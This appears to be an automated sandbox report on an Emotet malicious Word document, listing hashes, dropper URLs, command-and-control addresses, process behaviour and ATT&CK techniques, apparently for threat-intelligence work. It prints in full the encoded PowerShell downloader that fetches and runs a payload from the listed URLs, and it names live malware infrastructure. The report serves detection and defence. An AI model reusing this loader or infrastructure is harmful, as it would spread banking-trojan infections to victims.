emotet | 8906500d2bf022e69b9f3b29388d2b7a8e398d127d023c7aeb6eb2d399fa0693

General

Target
emotet_e3_8906500d2bf022e69b9f3b29388d2b7a8e398d127d023c7aeb6eb2d399fa0693_2020-08-25__104608._doc.doc
Size 242KB
Sample200825-e9hcbr9fhx
SHA256 8906500d2bf022e69b9f3b29388d2b7a8e398d127d023c7aeb6eb2d399fa0693
MD5 671b3ca770b53b35cdd1bb3a4dc6c7d4
SHA1 7e2dde3c4132aa729412b6fe5c5cbfd0c32028f8
SHA512 d53012518075cac8e40387437977538d3ce15f8d6bed583dd884a18b00b7e72f406b8f36f6fe8988dda20423faf35912f4c4da41f7e679bab35ac51a677a95e6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.luxelistreviews.com/wp-includes/AYR/
exe.dropper
https://www.yhyhzx.com/wp-admin/pKpz/
exe.dropper
http://mediadrive.nichost.ru/awfcatfre/9thw57489/
exe.dropper
http://kumarpratham.com/fonts/Wtuq/
exe.dropper
http://fxea.club/wp-includes/mPqJMPzx/
exe.dropper
https://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
exe.dropper
https://www.batamry.com/tmp/baeng79095371/

Extracted

Family

emotet

C2

189.39.32.161:80
85.25.207.108:8080
185.86.148.68:443
75.127.14.170:8080
220.254.198.228:443
81.214.253.80:443
105.209.235.113:8080
185.208.226.142:8080
177.144.130.105:443
178.33.167.120:8080
86.57.216.23:80
143.95.101.72:8080
192.241.220.183:8080
78.189.60.109:443
179.62.238.49:80
190.212.140.6:80
188.251.213.180:443
37.46.129.215:8080
190.164.75.175:80
190.53.144.120:80
115.78.11.155:80
192.210.217.94:8080
197.221.158.162:80
157.7.164.178:8081
5.79.70.250:8080
46.105.131.68:8080
46.32.229.152:8080
95.216.205.155:8080
177.94.227.143:80
201.235.10.215:80
113.161.148.81:80
202.5.47.71:80
86.98.143.163:80
66.61.94.36:80
168.0.97.6:80
190.55.186.229:80
87.106.231.60:8080
181.113.229.139:443
190.190.15.20:80
50.116.78.109:8080
77.74.78.80:443
195.201.56.70:8080
74.208.173.91:8080
107.161.30.122:8080
162.249.220.190:80
188.0.135.237:80
71.57.180.213:80
41.185.29.128:8080
198.57.203.63:8080
139.59.12.63:8080
179.5.118.12:80
172.105.78.244:8080
181.126.54.234:80
173.94.215.84:80
177.32.8.85:80
37.210.226.93:80
139.99.157.213:8080
91.83.93.103:443
81.17.93.134:80
192.163.221.191:8080
31.146.61.34:80
115.79.195.246:80
181.137.229.1:80
113.203.250.121:443
217.199.160.224:8080
175.29.183.2:80
60.125.114.64:443
172.96.190.154:8080
203.153.216.178:7080
118.70.15.19:8080
185.142.236.163:443
51.38.201.19:7080
201.213.177.139:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1900	628	powersheLL.exe	66

Blacklisted process makes network request 2 IoCs

flow	pid	Process
13	1900	powersheLL.exe
17	1900	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4044	C3bc3av5i.exe
3948	netprofm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WMVSDECD\netprofm.exe	C3bc3av5i.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1900	powersheLL.exe
1900	powersheLL.exe
1900	powersheLL.exe
3948	netprofm.exe
3948	netprofm.exe
3948	netprofm.exe
3948	netprofm.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
4044	C3bc3av5i.exe
4044	C3bc3av5i.exe
3948	netprofm.exe
3948	netprofm.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 4044	1900	powersheLL.exe	73
PID 1900 wrote to memory of 4044	1900	powersheLL.exe	73
PID 1900 wrote to memory of 4044	1900	powersheLL.exe	73
PID 4044 wrote to memory of 3948	4044	C3bc3av5i.exe	74
PID 4044 wrote to memory of 3948	4044	C3bc3av5i.exe	74
PID 4044 wrote to memory of 3948	4044	C3bc3av5i.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8906500d2bf022e69b9f3b29388d2b7a8e398d127d023c7aeb6eb2d399fa0693_2020-08-25__104608._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAHIAcgAzADEAbQBfAD0AKAAnAFYAeQAnACsAJwBzAGQANwBrAGsAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgB0AEUAbQBwAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAWQBgAFAAUgBPAHQAYABPAGMAbwBMACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAEYAagBxAGsAdwBfAGwAIAA9ACAAKAAnAEMAMwBiAGMAJwArACcAMwAnACsAJwBhAHYAJwArACcANQBpACcAKQA7ACQATAA3AGsANwBqADcAZwA9ACgAJwBGAHgAJwArACcAZwB3ADMANABtACcAKQA7ACQARABsADUAZQBkAGMANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmACcAKwAnAGYAJwArACcAaQBjAGUAMgAnACsAJwAwADEAOQB7ADAAfQAnACkAIAAtAEYAIAAgAFsAYwBoAEEAUgBdADkAMgApACsAJABGAGoAcQBrAHcAXwBsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABIAHAAdQAyAGcAOQBfAD0AKAAnAEUANQAnACsAJwA5AGkAaAAnACsAJwByADcAJwApADsAJABMAHIAaQBnAG8AdwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABYAGMAbgB5AGUAMgBnAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgBsAHUAeABlAGwAaQAnACsAJwBzACcAKwAnAHQAJwArACcAcgBlAHYAJwArACcAaQBlAHcAcwAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAJwArACcAZQBzAC8AJwArACcAQQBZACcAKwAnAFIALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwB3ACcAKwAnAHcAdwAuAHkAaAB5ACcAKwAnAGgAegB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwAnACsAJwBwAEsAcAB6AC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQBkACcAKwAnAHIAJwArACcAaQB2ACcAKwAnAGUALgBuAGkAYwAnACsAJwBoAG8AJwArACcAcwB0AC4AcgB1AC8AYQAnACsAJwB3AGYAYwBhAHQAJwArACcAZgAnACsAJwByAGUALwA5AHQAJwArACcAaAB3ADUAJwArACcANwA0ADgAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBrAHUAbQAnACsAJwBhAHIAJwArACcAcAByAGEAdABoAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AZgAnACsAJwBvAG4AdABzAC8AVwAnACsAJwB0AHUAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBmAHgAZQBhAC4AYwBsAHUAJwArACcAYgAvAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAG0AJwArACcAUABxAEoATQBQAHoAJwArACcAeAAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAHgAaQAnACsAJwBhAG4AZwAnACsAJwBmAHUALgBwAGgAagByAHQALgBjACcAKwAnAG8AbQAvACcAKwAnADAAcQBlACcAKwAnAG8AeQAvACcAKwAnAHYAbwBCADMANQA1AGYAMQAzAHYAJwArACcAMgBqACcAKwAnADQANwA1AC8AKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBiAGEAJwArACcAdAAnACsAJwBhAG0AcgB5AC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB0AG0AJwArACcAcAAvACcAKwAnAGIAJwArACcAYQBlACcAKwAnAG4AZwAnACsAJwA3ADkAMAA5ACcAKwAnADUAMwA3ACcAKwAnADEAJwArACcALwAnACkALgAiAFMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvADkAZQA4ADkAbwA9ACgAJwBYADgAZAAnACsAJwB4ACcAKwAnAHcAcgBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAcwAwAHoAZQB4AG4AIABpAG4AIAAkAFgAYwBuAHkAZQAyAGcAKQB7AHQAcgB5AHsAJABMAHIAaQBnAG8AdwBmAC4AIgBkAG8AVwBgAE4AYABMAG8AQQBEAGAARgBJAEwAZQAiACgAJABXAHMAMAB6AGUAeABuACwAIAAkAEQAbAA1AGUAZABjADYAKQA7ACQAVABlADEAZgBqAHIAZgA9ACgAJwBYACcAKwAnAHgAegAnACsAJwBxADkAOQAzACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGwANQBlAGQAYwA2ACkALgAiAEwAZQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAAwADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARABsADUAZQBkAGMANgApADsAJABOAGMAbgA3AGkAMgBuAD0AKAAnAFkANgBqADYAbQAnACsAJwBiADEAJwApADsAYgByAGUAYQBrADsAJABTAHMAZAAyADIAbgBjAD0AKAAnAEwAaQAnACsAJwBrACcAKwAnAGkAMAB6ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADgAZABwAHkAbgBzAD0AKAAnAEoAZQBtAHgANwAnACsAJwB4AHUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\SysWOW64\WMVSDECD\netprofm.exe
    "C:\Windows\SysWOW64\WMVSDECD\netprofm.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1900-11-0x0000025226260000-0x0000025226261000-memory.dmp

Download

memory/1900-9-0x00007FFE01700000-0x00007FFE020EC000-memory.dmp

Download

memory/1900-10-0x0000025225EB0000-0x0000025225EB1000-memory.dmp

Download

memory/3948-18-0x0000000000A60000-0x0000000000A6C000-memory.dmp

Download

memory/3952-0-0x00007FFE08FD0000-0x00007FFE09696000-memory.dmp

Download

memory/3952-3-0x0000019FDDAFD000-0x0000019FDDB06000-memory.dmp

Download

memory/3952-2-0x0000019FDDAFD000-0x0000019FDDB06000-memory.dmp

Download

memory/3952-1-0x0000019FDDB06000-0x0000019FDDB0A000-memory.dmp

Download

memory/4044-15-0x00000000005F0000-0x00000000005FC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads